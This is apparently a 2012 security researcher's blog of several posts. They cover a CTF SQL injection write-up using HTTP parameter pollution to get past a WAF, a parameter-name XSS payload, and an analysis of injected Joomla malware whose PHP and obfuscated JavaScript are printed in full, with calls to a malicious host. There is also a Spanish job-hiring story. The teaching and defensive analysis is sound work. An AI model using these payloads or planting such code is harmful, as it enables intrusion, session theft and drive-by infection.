Saturday, December 22, 2012

Preventing Malware from deleting files: The quick and dirty way.


One of the common behaviors of Malware is to infect system processes in order to preserve access to the Machine or to run malicious actions silently, this can be accomplish by loading new drivers (kernel mode) or DLLs (user mode), which requires a physical file to be dropped into the file system and therefore, as soon as the driver/dll is loaded in memory, the malicious file is deleted, giving no chance to the Analyst to reverse it.

Any integrity-check tool (WinAnalysis, FileMon) will report those different files being dropped into the filesystem but how can we recover them? Assuming that Malware also uses many tricks to prevent tools like NTFSUndelete to recover deleted files. This means, the approach to recover the files after infection is not the recommended solution, instead we need to prevent the file from being deleted.

Then we have the sexy, advanced and recommended way to do this, by using API Hooking techniques, but unfortunately, you will need knowledge of Windows APIs, Memory Management, Processes creation, Microsoft Detours, Development, etc, so go for it, on the other hand is the dirty, not sexy and ugly way, but fast, easy and without to much knowledge, we just need to patch DeleteFileW API in Kernel32.dll in order to prevent any file in the system from being removed, play a little bit with WFP (Windows File Protection) in order to replace Kernel32.dll with our patch version and voila!!!

Enjoy it.

Sunday, October 14, 2012

Como llegue a uno de los equipos de Seguridad mas reconocidos en el Mundo.


Definitivamente, el hecho de llegar al equipo de Seguridad (Security Response Team) de Symantec encargado en combatir los virus y todo tipo de codigo malicioso a nivel mundial ha sido el mayor logro en mi carrera profesional, pero no hubiera sido posible llegar con mi propio esfuerzo, la mano de Dios estubo alli conmigo todo el tiempo y es una experiencia que quiero dejar para la eternidad. Aqui, la cronologia de los hechos.



Nota: Perdon por la falta de acentos, mi teclado esta en ingles y ni como agregarlos :-)

Mayo 31, 2012. 9:00 AM:

Solo como contexto, este dia 31 es mi cumpleaños y yo estaba siendo entrevistando en Microsoft! Si, en Redmond Seattle, fue una experiencia padrisima pero al final no hubo interes para contratarme, en este tiempo yo estaba buscando dar un salto a una compañia grande, de echo, tambien tuve platicas con Google Security Team pero tampoco se concreto nada y por si fuera poco, Symantec tambien me habia rechazado aunque no en el equipo de Seguridad sino en otro departamento, entonces perdi las esperanzas de unirme a un Gigante de TI y entonces empece a aplicar a excelentes Compañias pero fuera del rango que yo pretendia en un principio.

Julio 2, 2012, 3:15 PM:

Liam Murchu Manager del Equipo de Seguridad de Symantec (Security Response Team) publica este twitter anunciando que estaban contratando Analizadores de Codigo malicioso (malware analysts) en el soleado California:




Yo habia recibido este tweet ya que seguia los mensajes del equipo de Seguridad de Symantec y Liam envio este mensaje ha dicho grupo, en otras palabras yo no seguia los tweets de Liam, y para ser honestos ni siquiera sabe quien era el.

Cuando vi este tweet alrededor de las 11:00 PM del 3 de Julio (un dia despues de ser publicado) me emocione mucho ya que volvian mis esperanzas, aunque por mi mente pasaba “va a ser igual que en Microsoft, requeriran un gran nivel y por ende no estare a la altura”, pero de cualquier manera, investigue quien era Liam Murchu, consegui su correo electronico y le envie mi curriculum el mismo dia a las 11:55 PM. 
Mi correo mas que pedirle una entrevista fue una suplica para que me diera la oportunidad de trabajar con el considerando que mis conocimientos en analisis de Virus no eran avanzados pero que era el hombre mas motivado que jamas encontraria y que trabajaria dia y noche para darle los resultados esperados.

Inmediatamente despues, me acorde que tenia el correo de la persona “Adri” de recursos humanos de Symantec que me habia contactado para la oportunidad de trabajo anterior de la cual no habia sido seleccionado, le pedi de la forma mas atenta que por favor enviara mi curriculum a el de recurso de recursos humanos asignado para la contratacion dicho puesto.

Julio 5, 12:07 PM:

“Adri” de Symantec me contesta diciendome que ha enviado mi curriculum a la persona correspondiente y que si habia algun interes, ellos me contactarian. Yo le agradezco mucho a “Adri” y la bendigo en el nombre de Dios.

Julio 5, 12:13 PM:

Vean la hora, notese que fueron 6 minutos despues de agradecerle a “Adri”, recibo una llamada de “Lore” de recursos humanos de Symantec!!!!!!! No lo podia creer, ella me baja de mis nubes diciendome que el candidato YA CASI esta seleccionado pero que de cualquier manera me esta hablando por cortesia para hacerme saber que intentara enviar mi curriculum a Liam, argumentando que en ocasiones raras, los Managers pueden abrir mas vacantes o si no, pues ella me llamaria en cuanto hubiera otra oportunidad.

Julio 5, 15:33 PM:

Alrededor de 3 horas despues del mismo dia, me vuelve a llamar “Lore”, mas emocionada que yo! Y me dice que Liam esta interesado en platicar conmigo! Aunque me dice que la vacante es para una posicion Junior donde el salario esta un 25% por debajo de lo que yo actualmente percibo. Yo ya estaba avanzado en platicas con otra Empresa asi que mi intencion era saber hasta donde hubiera llegado con Symantec y si ellos hubieran estado interesados en mi, como que en el fondo de mi Corazon no habia ninguna esperanza de que me contrataran. Entrar en el equipo lider en analisis de virus con basica experiencia en ese campo? No lo veia posible.

Julio 9, 2012, 12:00 PM:

Liam y con un colega me marcan para la entrevista tecnica, yo inmediatamente me sincero y le digo que llevo poco tiempo en esa especialidad de analisis de virus pero que mi experiencia en otros campos de la seguridad me pueden ayudar a aprender rapido, entonces Liam me dice que me hara unas entrevistas basicas para ver si tengo nocion del puesto. Despues de dichas preguntas, me dice que parece que no estoy tan mal y que le gustaria una segunda entrevista con un alto grado tecnico solo para saber exactamente el nivel de mis conocimientos. Cuelgo el telefono y lo primero que pense fue… “me van a masacrar en la siguiente entrevista, no solo diran que no soy apto para el puesto sino que nisiquiera tengo los conocimientos basicos!!!!”.

Julio 9, 2012, 4:34PM:

“Lore” me habla, otra vez emocionada para decirme que me fue bien en mi entrevista! y que mi siguiente entrevista tecnica sera el proximo 12 de Julio.

Julio 12, 2012, 12:30 PM:

Me habla Liam, me presenta a su experto, me dice muy amablemente que no me preocupe, que empezaran con preguntas basicos e iran subiendo el nivel de complejidad hasta donde vean que ya no puedo pero que solo sea sincero con mis respuestas, que no intente adivinar y que no importa si no se algunas preguntas. 

La mano de Dios se vuelve a hacer presente, para mi gran sorpresa, las preguntas se centran en ataques y temas de seguridad pero nada relacionado con Analisis de Virus, despues me muestran codigo en C y Ensamblador y me piden que les explique que es lo que hacen y que falla pueden tener, me va muy bien, flaqueo un poco en Ensamblador pero bien, finalmente me hacen unas preguntas de Sistemas Operativos y despues de 2 horas de preguntas y ejercicios me dice Liam: “Daniel, hemos terminado con la entrevista, me permites un momento?”, me pone en espera y... despues de unos segundos, regresa Liam y me dice:

 “Daniel, el nivel que mostraste definitivamente no era el que esperabamos, consideramos que estas a un nivel mas Senior y por ende tratare de cambiar la vacante a una posicion un poco mas alta para tratar de que el salario mejore aunque no sea lo que tu pretendes, en cuanto tenga una respuesta te la hare saber.”

Yo le agradezco a Liam infinitamente, le hago saber mi emocion por la noticia y cuelgo el telefono.
Cuando colgue esa llamada me cayo el “20” de que Symantec estaba interesado en mi!!!!!! Y entonces todo cambio, en ese momento decidi que alli queria estar y que ojala y le pudieran aprobar el nuevo puesto para que mi salario no estuviera tan afectado considerando que el nivel de vida en California es muucho mas caro que en Chicago.
Sabia que esta oportunidad era unica, posiblemente no se presentaria de nuevo en mi vida, y aunque asi fuese, la experiencia necesaria para entrar seria un obstaculo importante, y es que en Empresas como Symantec, Microsoft o Google, son tan particulares que es dificil tener el nivel de conocimientos requerido, por citar un ejemplo, en que otra empresa del mundo estarias lidiando con un error en el codigo fuente de office? Solo en Microsoft!!!, comunmente la gente empieza de cero, contratada recien egresada de la Universidad, ahi se desarrolla, ahi aprende, ahi se vuelven expertos, la otra opcion es cuando eres un genio en cuyo caso estas Empresas te convencen para que trabajes con ellos, pero este scenario es muy raro y por ende solo para algunos, pero para los mortales como yo, que venimos de afuera (otro pais), es dificil tener el mismo nivel y convencer en las entrevistas. Por eso, lo repito siempre, la mano de Dios se hizo presente, Dios me habia dado esta oportunidad y debia tomarla a como de lugar.

Julio 17, 2012, 07:14 PM:

Despues de varios dias de incertidumbre! Llega el tan anciado correo de Liam el cual dice: 

“Desafortunadamente no podemos incrementar el salario para esta vacante en este momento, tal vez en el futuro tengamos una posicion mas cercana a tus habilidades, te contactare si se da la oportunidad. Mientras tanto, deseo que encuentres un trabajo que te permita seguir en el campo de Analisis de Virus…”

Exacto… asi como se quedaron me quede yo, no solo fue la mala noticia sino que tambien se estaba despidiendo de mi!
Despues de una hora pensando decidi pedirle que me contratara para el puesto actual, sin importar que el salario estaba muy por debajo de lo que yo ganaba, Liam contesta que podemos platicar al respecto y que me marcara el Miercoles 18 de Julio.
Cuando escucho esto, me vuelvo a poner contento y estoy casi seguro que solo es cuestion de formalizar mi contratacion.

Julio 18, 2012, 06:00 PM:

Llega el dia! Me habla Liam, me empieza a explicar los detalles del puesto pero como si estubiera tratando de convencerme de no tomarlo! frases como: “El salario es TODAVIA mas bajo de lo que habiamos platicado, no tienes derecho a bono, etc, etc”. Para que se den una idea, el salario propuesto era un poquito mas de lo que ganaba cuando llegue a USA en 2008 (4 años antes), solo que habia una importante diferencia: Ese salario era en Memphis, Tennessee donde el costo de vida es muchisisisisimo mas bajo que en California (la renta en Memphis era de $900 USD cuando en California es de $2200! Por ejemplo).
En fin, con todo y todo, que le digo a Liam: “Ok, me gusta, quiero el puesto, que me dices?”. 

En este momento yo esperaba una respuesta como: “Perfecto, formalizemos esto, o algo asi”, al final, quien no quiere a algo bueno y barato no? (asumiendo que el decia que yo tenia un nivel por encima del puesto vacante). Pero su respuesta de Liam fue muy diferente: 
“Ok, entonces pues… mmmm… dejame ver como esta la situacion porque ya estaban avanzadas las platicas con otro candidato, pero te resuelvo al final de esta semana”.

Entonces colgue muy triste, me habia dado cuenta que ni pidiendo entrar a Symantec sin sueldo seria aceptado, otra vez a nada de ser contratado y con todos los sueños en el aire, derepente todo se desmoronaba. Me fui a casa, muy pensativo, y entonces me entro un poco de dignidad y decidi darle las gracias a Liam, asi que que le escribi un correo diciendole: “Me emocione tanto de entrar a Symantec que puse a un lado los intereses de mi familia, con el sueldo propuesto y sin bono, definitivamente no puedo soportar los gastos en California, con el sueldo propuesto inicialmente mas un bono podria ser la unica opcion que me funcionaria. Estoy triste porque en verdad que me queria unir a tu equipo. Por favor dejame saber si en el futuro se habre un puesto a mis necesidades. Gracias por todo”.

Despues de enviar este correo, honestamente ya no esperaba ninguna respuesta, de hecho ya estaba convencido de que era la mejor decision e incluso estaba a punto de aceptar la oferta de otra Empresa que estaba esperando mi respuesta 2 semanas antes!!!!

Julio 19, 2012, 07:21 PM:

Me contesta Liam un dia despues y me dice que si estoy  de acuerdo “Lore” de recursos humanos me hablara para ver si podemos llegar a un acuerdo.
Otra vez vuelve la incertidumbre, sin idea de que queria Liam, pero esta vez sin esperar buenas noticias quedo en espera de la llamada.

Julio 20, 2012, 03:00 PM:

Este dia es muy especial porque fue cuando cumpli el primer mes de novio con el amor de mi vida y que ahora es mi esposa… Diana. Solo queria comentarlo...

Me habla “Lore” y me dice: “Daniel estamos interesados en que trabajes para Symantec, te respetaremos el salario propuesto inicialmente y te daremos un bono extra tratando de acercarnos un poco a tus expectativas economicas, mas estos y otros beneficios, que dices?”, yo acepto inmediatamente!!!! "Lore" y yo super contentos, y finalmente me dice que espere la carta formal en siguiente dia!

Cuelgo el telefono y no grite porque estaba en la oficina pero tenia un gusto inexplicable en mi Corazon y le agradeci a Dios tanto tanto por ser tan bueno conmigo, el trabajo de mis suenos se habia concretado mientras yo me reenamoraba de mi carrera professional la cual ya estaba a unos minutos de firmar el divorcio con la misma.

Gracias Dios! Para ti toda la Gloria y toda la honra. 

Octubre 14, 2012,  11:40 PM:

Hoy a 2 meses de trabajar para Symantec les puedo decir que reafirmo que Dios me puso este trabajo, los compañeros son estupendos y muy talentosos, mi jefe genial, la ciudad Culver City fantastica, hermosa, me voy todos los dias caminando al trabajo disfrutando de la creacion! En fin, era lo que Dios tenia preparado para mi.

AMEN. 

Wednesday, October 3, 2012

Bypassing WAF via HTTP Parameter Pollution


Last week I was invited to join a team to participate in a CTF (Capture The Flag) contest organized by CSAW Team.

With my wife and kids around, I only had the opportunity to pick one challenge related to Web Exploitation named: "HorceForce" worth 300 points! Basically, you were provided with a low-privilege account and needed to find your way to get Administrator access.

So, there are multiple resources explaining how to exploit it, but definitely I want to share my experience.

After sending some single quotes it was easy to find a SQL Injection bug by getting the well known "MySQL SQL Error Message".

So, as you all know the first attempt was something like:

http://128.238.66.217/horse.php?id=7 or 1 IN (select current_user)

And I got I ERROR Message saying something like "PLEASE STOP trying to hack this blablablabla site".

Then after many techniques to bypass the filter I realized the WAF was configured to deny any string containing either "select" or "union", blindly I assumed the WAF's regular expression was something like:

/^.*select.*$/ or /^.*union.*$/ 

Which means, every string which even makes no sense from SQLi point of view like: blablaSELECTblabla or a bypass technique like: /*!union*/ , were triggering the Warning Message.

After some research I found the HTTP Pollution technique which basically allows the attacker (among other things) to play with the GET Parameters in order to confuse the WAF filter.

So, how it works?

Let's say you have the GET parameter "id", you can duplicate it (or even add it many times) and send something like:

?id=value1&id=value2

And, depending on the Framework used (PHP, Java, ASP.NET, etc) the parameters are going to be parsed differently, in our case with Apache/PHP, if you inject the same parameter multiple times, only the last one will be parsed by the Framework (see table below) but guess what? Only the first parameter is going to be analyzed by the WAF!

This means, by injecting: ?id=7&id=[SQLi]

WAF Network Layer parses         id=7              <- Good to go!
PHP Application Layer parses       id=[SQLi]     <- SQLi successfully injected

So, this is a typical example where you can inject something that is going to be treated differently at Network Layer and Application Layer.

Below is a table where you can find how other Frameworks react when receiving the same parameter multiple times. Like ASP.NET, if it receives two parameters, it will concatenate them, and therefore you can split the attack into those fields to bypass the WAF, which is out of scope of this blog.




So, then my next try was to inject something like:

128.238.66.217/horse.php?id=0&id=7%20union%20select%201,2,3,current_user

You can notice, all the injection is taking place in the second parameter, which is not being parsed by the WAF and voila!!! I got my first successful response:

csaw_chal1@localhost

After that, all is simple SQLi to enumerate tables:

128.238.66.217/horse.php?id=0&id=7%20union%20select%20table_name,2,3,4%20from%20information_schema.tables%20limit%201

horses
sessions
users


Then get fields from table users:
128.238.66.217/horse.php?id=0&id=7 union select 1,2,3,column_name from information_schema.columns where table_name='users' limit 200

Description: user_id
Description: username
Description: password
Description: name
Description: level


And then dump the username and password trying to identify the Administrator password:

Description: administrator
Pass: $2a$08$kF9H1vqa.fogHc2JwbFNweay.sgdksbiuB9f7MN5mNZgcG6y7BrFG

Description: michael_vick
Pass: $2a$08$B2fI59Zzph61LajSSgkoB.i0YJ9HH8wBobmExxqPxl/.0Zu3Tijm2

Description: csaw_challenger
Pass: $2a$08$zFI9j/fsHKKbV0UCiavNveEIIi./v8lsqiaKxTV3T3BkrBk4XvSEK

Description: beefsister33
$2a$08$AUAeUut7FjkdCMfQJUuJwulgnBLbbTc0F/njHbl3mn59IS6OyADbO

Description: nuclear_grandma
$2a$08$edsWdwf45DDC4Vb2VPiikOspNpr3ePS5VE7z3aYsuMEZyodbkHRDK

Description: teabag_swag
Pass: $2a$08$uN4sFJ73Quf/b5hC3GxXIO53ewJ0W71c2Vuh4f2x.pr3iTrChvNOK


But unfortunately, those passwords were encrypted, but if you remember, there was a table named "sessions", so let's dump its content:

128.238.66.217/horse.php?id=0&id=7%20union%20select%201,2,3,session%20from%20sessions%20limit%20200

Description: bsv30irdq0PCvJxJrCAxROcmdXaUiwgQtPeg5J75EYgrH8jyHQ
Description: hbpnEGKo2WeLvQuQL0kb8vyyOHMn96ZYAROXmBggB6Pdr0FX4p
Description: VnRu2Zcv7REYTgHOqafggyYn3hA3cq1D9B4u4IxEcnB0TgPT4j
Description: UkOAVJ4ZAuX1t0Hib4maJccftZVeC4TdCZ8WxhQJZKqQ9axbwc
Description: 4gNszBZeSDjjKE5sSJwIcPOzTvhM90IR9JrqPa286tLfiDNDyp
Description: hmmJU3LrcIO7yJ77aSOsL9YIEjKITkOLg1CE0HF6Cnsbv2J077
Description: SL2v2sJvyu7Xw5Lc5b8UBSNFGOFhMfFrCWsgNGZZBSBfazpTlX




Then, you just go to your browser, use an Add-on like "Cookies Manager" from Firefox and change your current session value with one of the ones found above and ..... we got the Admin session:

bsv30irdq0PCvJxJrCAxROcmdXaUiwgQtPeg5J75EYgrH8jyHQ


Which give us the precious key:


Saturday, July 28, 2012

Post/Get Parameter's Name Injection

When testing Web Applications, usually a security analyst will try to identify all the inputs to be injected like Cookies, POST/GET parameters, HTTP Headers, etc.

Once identified, the analyst will start injecting malicious data into those fields, something like:

Cookie: --attack string--
name= --attack string--
uri?name= --attack string--

EVERYTHING injected in the parameter's value, what about parameter's name? Does it worth?

Why a Developer would like to validate the input receive in the parameter's name?

As any other vulnerability, there are specific scenarios where this can be exploited, the most common one is when all the parameters received via GET or POST are used to generated a new URL:

java.util.Enumeration e = request.getParameterNames();
    if (e.hasMoreElements()) {
        String name = (String)e.nextElement();
        String value = request.getParameter(name);
        qs= name+"="+java.net.URLEncoder.encode(value,"utf-8");
        while (e.hasMoreElements()) {
            name = (String)e.nextElement();
            value = request.getParameter(name);
            qs += "&"+name+"="+java.net.URLEncoder.encode(value,"utf-8");
        }
    }

**** Notice only the parameter's value is being URLEncoded*************

Then, the Query String is concatenated in the iframe src attribute:

<iframe src="xxxx.com?search.aspx?<%=qs%>

 So, let's try to inject XSS into parameter's name, like:

%22%20onmouseover%3d"alert(1111)">%20DANUX</iframe> <iframe a%3D"=

Which will print out in the browser as:

<iframe src="xxxx.com?search.aspx?" onmouseover="alert(1111)">DANUX</iframe> <iframe a=""></iframe>

 The text highlighted in RED is the portion completed automatically by the application and you can see the html is properly formatted causing the XSS code being executed successfully, tested on FireFox 12.0.

As mentioned before, parameter's name injection is not widely tested by Security Analyst, not even by some Security Vendors, I tested my vulnerable App with WebInspect version 9.X and realized it does NOT test parameter's name:

Sunday, July 8, 2012

Dumping Polymorphic Malware in seconds!

Nowadays Polymorphic Malware is created to try to bypass AV detection, but there are ways to easily dump the malicious binary from memory and then focus the reversing efforts in the decoded binary. Win APIs like VirtualProtect and Hardware Breakpoints can help as shown below:                                                                                                                                                                                    





Saturday, April 21, 2012

Dissecting Joomla Malware

By the time of this post being written, there is a malicious site: botstatisticupdate.com serving obfuscated JavaScript code using the well known drive-by-download technique. Although the Malware was found in a Joomla-powered site, the malicious payload can be inserted in any web/client application. The method of infection is out of the scope of this blog but can be by exploiting a remote execution vulnerability (LFI) in the web site, or by stealing account credentials, etc.  

Symptom of infection: Suddenly you realized that every person visiting your site is being infected by a Malware, the AV is detecting it as a Trojan trying to access a malicious domain as shown below:


Then after some analysis, you realize that the Malware is being injected before the html body in the response:


The Challenge:

Now you need to find the malicious program running at your Web Server that is injecting above mentioned payload. I will save you some time, Joomla is a modular software which allows (among other things) the use of customized templates, those templates are the skin of your web site which makes it look awesome.

Joomla can only have one template activated at a time and all those files are located under /templates/ dir.

Finally, every template has its own index.php file which will be loaded in every singe HTTP request and therefore, it is a good place to inject the Malware.
After some investigation, I realized the Malware was injected in every single index.php of each template, this way, if you change the default template, still will be serving malicious code to the end users. As an example, below are three templates infected:

/templates/beez/index.php 
/templates/modernview/index.php 
/templates/eyedesign/index.php 

A fast way to detect infections is to run a diff (compare) between current files and default installation, we did this and detected that below code was injected:

if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics           
        $stCurlLink = base64_decode( 'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink );
    }
    }
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
    $sResult = @curl_exec($stCurlHandle);
    if ($sResult[0]=="O")
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle);
}
}
?>

Explanation: 

At the beginning checks whether the request is coming from well known crawlers like google, opera, yahoo, msn, bing, safari, baidu, chrome or bot in which case will not process the request OR if it is coming from a normal user in which case process the request to get the malicious payload.
NOTE: If you want to debug this code, print out the variable $stCurlLink and variable $Result mentioned in red color above. Once the request is prepared, it is lunch via @curl_exec function.

After debugging, I got the value received in var $stCurlLink:

http://botstatisticupdate.com/stat/stat.php?ip=2XX.5X.4.X&useragent=mozilla/5.0+(windows+nt+5.0;+rv:5.0.1)+gecko/20100101+firefox/5.0.1&domainname=joomla.hacked-site.net&fullpath=/path/index.php?option%3Dcom_content&Itemid=1&lang%3Den&view=fro ntpage&check= 

This is the request to be sent to the Controller passing the Victim's IP and Host-Hacked's IP. Those parameters are important because:

1. The Controller only infects one time based on IP Address.
2. The Controller only responses to IP's from hacked sites, which means, if you try to call the Controller directly it will not serve any information.

Once the Request is sent, the Controller replies with the payload mentioned below:

h=-parseInt('012')/5;
if(window.document)
try{ Boolean(true).prototype.a}
catch(qqq){
st=String;
zz='al';
zz='zv'.substr(1)+zz;
ss=[];
if(1){
f='fromCh';f+='arC';
f+='qgode'["substr"](2);
}
w=this;
e=w[f.substr(11)+zz];
e = function eval(){}eval("e="+e);t='y';}
n="3.5!3.5!51.5!50!15!19!49!54.5!48.5!57.5!53.5!49.5!54!57!22!50.5!49.5!57!33.5!53!49.5!53.5!49.5!54!57!56.5!32!59.5!41!47.5!50.5!38!47.5!53.5!49.5!19!18.5!48!54.5!49!59.5!18.5!19.5!44.5!23!45.5!19.5!60.5!5.5!3.5!3.5!3.5!51.5!50!56!47.5!53.5!49.5!56!19!19.5!28.5!5.5!3.5!3.5!61.5!15!49.5!53!56.5!49.5!15!60.5!5.5!3.5!3.5!3.5!49!54.5!48.5!57.5!53.5!49.5!54!57!22!58.5!56!51.5!57!49.5!19!16!29!51.5!50!56!47.5!53.5!49.5!15!56.5!56!48.5!29.5!18.5!51!57!57!55!28!22.5!22.5!56!53!59.5!50.5!53!22!58.5!51!59.5!54!54.5!57!47.5!49!22!48.5!54.5!53.5!22.5!51.5!53.5!47.5!50.5!49.5!56.5!22!55!51!55!30.5!57!29.5!25!25.5!26!23.5!24!26.5!26.5!26.5!18.5!15!58.5!51.5!49!57!51!29.5!18.5!23.5!23!18.5!15!51!49.5!51.5!50.5!51!57!29.5!18.5!23.5!23!18.5!15!56.5!57!59.5!53!49.5!29.5!18.5!58!51.5!56.5!51.5!48!51.5!53!51.5!57!59.5!28!51!51.5!49!49!49.5!54!28.5!55!54.5!56.5!51.5!57!51.5!54.5!54!28!47.5!48!56.5!54.5!53!57.5!57!49.5!28.5!53!49.5!50!57!28!23!28.5!57!54.5!55!28!23!28.5!18.5!30!29!22.5!51.5!50!56!47.5!53.5!49.5!30!16!19.5!28.5!5.5!3.5!3.5!61.5!5.5!3.5!3.5!50!57.5!54!48.5!57!51.5!54.5!54!15!51.5!50!56!47.5!53.5!49.5!56!19!19.5!60.5!5.5!3.5!3.5!3.5!58!47.5!56!15!50!15!29.5!15!49!54.5!48.5!57.5!53.5!49.5!54!57!22!48.5!56!49.5!47.5!57!49.5!33.5!53!49.5!53.5!49.5!54!57!19!18.5!51.5!50!56!47.5!53.5!49.5!18.5!19.5!28.5!50!22!56.5!49.5!57!31.5!57!57!56!51.5!48!57.5!57!49.5!19!18.5!56.5!56!48.5!18.5!21!18.5!51!57!57!55!28!22.5!22.5!56!53!59.5!50.5!53!22!58.5!51!59.5!54!54.5!57!47.5!49!22!48.5!54.5!53.5!22.5!51.5!53.5!47.5!50.5!49.5!56.5!22!55!51!55!30.5!57!29.5!25!25.5!26!23.5!24!26.5!26.5!26.5!18.5!19.5!28.5!50!22!56.5!57!59.5!53!49.5!22!58!51.5!56.5!51.5!48!51.5!53!51.5!57!59.5!29.5!18.5!51!51.5!49!49!49.5!54!18.5!28.5!50!22!56.5!57!59.5!53!49.5!22!55!54.5!56.5!51.5!57!51.5!54.5!54!29.5!18.5!47.5!48!56.5!54.5!53!57.5!57!49.5!18.5!28.5!50!22!56.5!57!59.5!53!49.5!22!53!49.5!50!57!29.5!18.5!23!18.5!28.5!50!22!56.5!57!59.5!53!49.5!22!57!54.5!55!29.5!18.5!23!18.5!28.5!50!22!56.5!49.5!57!31.5!57!57!56!51.5!48!57.5!57!49.5!19!18.5!58.5!51
.5!49!57!51!18.5!21!18.5!23.5!23!18.5!19.5!28.5!50!22!56.5!49.5!57!31.5!57!57!56!51.5!48!57.5!57!49.5!19!18.5!51!49.5!51.5!50.5!51!57!18.5!21!18.5!23.5!23!18.5!19.5!28.5!5.5!3.5!3.5!3.5!49!54.5!48.5!57.5!53.5!49.5!54!57!22!50.5!49.5!57!33.5!53!49.5!53.5!49.5!54!57!56.5!32!59.5!41!47.5!50.5!38!47.5!53.5!49.5!19!18.5!48!54.5!49!59.5!18.5!19.5!44.5!23!45.5!22!47.5!55!55!49.5!54!49!32.5!51!51.5!53!49!19!50!19.5!28.5!5.5!3.5!3.5!61.5"["split"]("a!".substr(1));for(i=6-2-1-2-;i!=603;i++){
j=i;
if(st)ss=ss+st.fromCharCode(-h*(1+1*n[j]));
}
if(zz)q=ss;
if(t)e(""+q);


That response is polymorphic, which means, it is different in every new request, below the decoded version:

if (document.getElementsByTagName('body')[0]){
 iframer();
else { function iframer(){
var f= document.createElement('i_frame');
 f.setAttribute('src',rlygl.whynotad.com/images.php?t=45612777');f.style.visibility='hidden';f.style.position='absolute'; f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); }

The payload is an iframe calling in a hidden way different URLs, below some examples:

rlygl[.]whynotad.com/images.php?t=45612777 
kpxpg[.]biz.tm/images.php?t=45612777 
ufwut[.]uk.to/images.php?t=45612777 

NOTE: If you want to deobfuscate the JavaScript code, always use alert command, in this case, replace e(""+q) at the end with alert(""+q) and you will get the content in clear text.  

Once the victim(browser) connects to those malicious URLs (without his consent), the attacker will try to compromised the victim machine by using different drive-by-download/cache techniques.


Recommendations:

1. Remove the malicious code inserted into index.php of every template and run a diff between current and default installation to make sure no more files are infected.

2. Perform Integrity checking to detect any change made to you web files. Eyesite can be a good solution and is free, it will alert you if any files, anywhere in the directory structure are added, changed or deleted.

Hope you find this useful and spread the word so that all start monitoring activity coming/going from/to botstatisticupdate[.]com/stat/stat.php URL.

Wednesday, April 4, 2012

Wassenaar arrangement could be the cause of Legacy systems encryption weakness.


Recently, while doing a secure code review in a Delphi Legacy application, I found a function named: InitialiseString() used by the Blowfish symmetric algorithm, then I realized that the Library used for this purpose was the one found here. While reviewing the source code a found below chunk:

{**************************************************************************
************ This section of code implements the 64 bit limit *************
************ imposed by the Wassennar agreement. The key is *************
************ limited to 64 bits. Should you be in a country *************
************ where the Wassennar agreement is not in force, *************
************ undefine the WASSENAAR_LIMITED variable. *************
**************************************************************************}

1. {$ifdef WASSENAAR_LIMITED}
2. // turn the key string into a key array
3. for i:= 1 to Length(Key) do
4. begin
5. KeyArray[(i-1) mod 8] := Ord(Key[i]);
6. end {for}
7. {$else}
8. // turn the key string into a key array
9. for i := 1 to Length(Key) do
10. begin
11. KeyArray[(i-1)] := Ord(Key[i]);
12. end {for}
Did you noticed the "64 bit limit imposed by Wassenaar agreement...", what is that agreement?

After some research I understood that:
  1. The name is "Wassenaar Arrangement" and not "Wassenaar agreement".
  2. The Wassenaar Arrangement is a multilateral export control regime with 41 participating states including many former COMECON countries.
  3. In December 1998, Wassenaar members revised the Dual-Use Control List, implementing a maximum bit length of 64 bits on exports of mass-market encryption software. See Category 5. part 2 - Information Security in the regime. NOTE: This restriction is applicable to symmetric algorithms only like Blowfish in this case.

More information about this regime can be found here.

Since the Legacy system I was reviewing was created before 1998, it was limited to 64 bits key length as you can see in lines 1-6 of the source code above.

But then after more research I found and update of this restriction here: "In December 2000, Wassenaar member countries agreed to remove the 64-bit key length restriction from the Cryptography Note", voila!!!! The Legacy system could be upgraded/improved since December 2000!!!

So, anytime you are reviewing a Legacy system which performs symmetric key encryption, make sure to double check the now well known (at least to me :-) Wassenaar Arrangement regime.

See you in the next blog.

Monday, March 12, 2012

Time Based Blind SQL Injection

I am not going to talk about Blind SQL injection since this is fully documented across different web sites, check References section at the end of this blog.

The reason I am writing this blog is for two main purposes:

1. Bug Hunting: To explain the process I followed to discover a "not-easy-to-find" vulnerability.

2. Exploit form scratch: To release a tool to extract data from the Data base via SQL Blind injection.


Bug Hunting:

When I put the famous single quote in front of the form I got the well known message:

Microsoft OLE DB Provider for SQL Server
error '80040e14'

Unclosed quotation mark before the character string '''.

Then, without any extra parsing to above error response, I started inserting the common ways of exploitation:
  • '+OR+'1'='1
  • '+OR+1=1--
  • '+having+1=1--
  • '+union (select 1 from table)--
  • etc
The first thing I noticed is that the spaces were being filtered but as explained in my previous SQLi post, you can easily bypass that by injecting a TAB (%09) instead of a space.

After bypassing the space restric
tion, I always got syntax errors like:


Incorrect syntax near the keyword 'OR'.

Incorrect syntax near the keyword 'having'.

Incorrect syntax near the keyword 'union'.

Which was telling me two things: first, my SQLi was being executed but with syntax errors and second that I was not in the common scenario where the injection is being placed after the WHERE clause:

select ..... where user='aa' OR 1=1

After a lot of testing without success, I just assumed I cannot inject any SQL command after the single quote, so, then I started inserting other chars like: ',' and... I got below error:

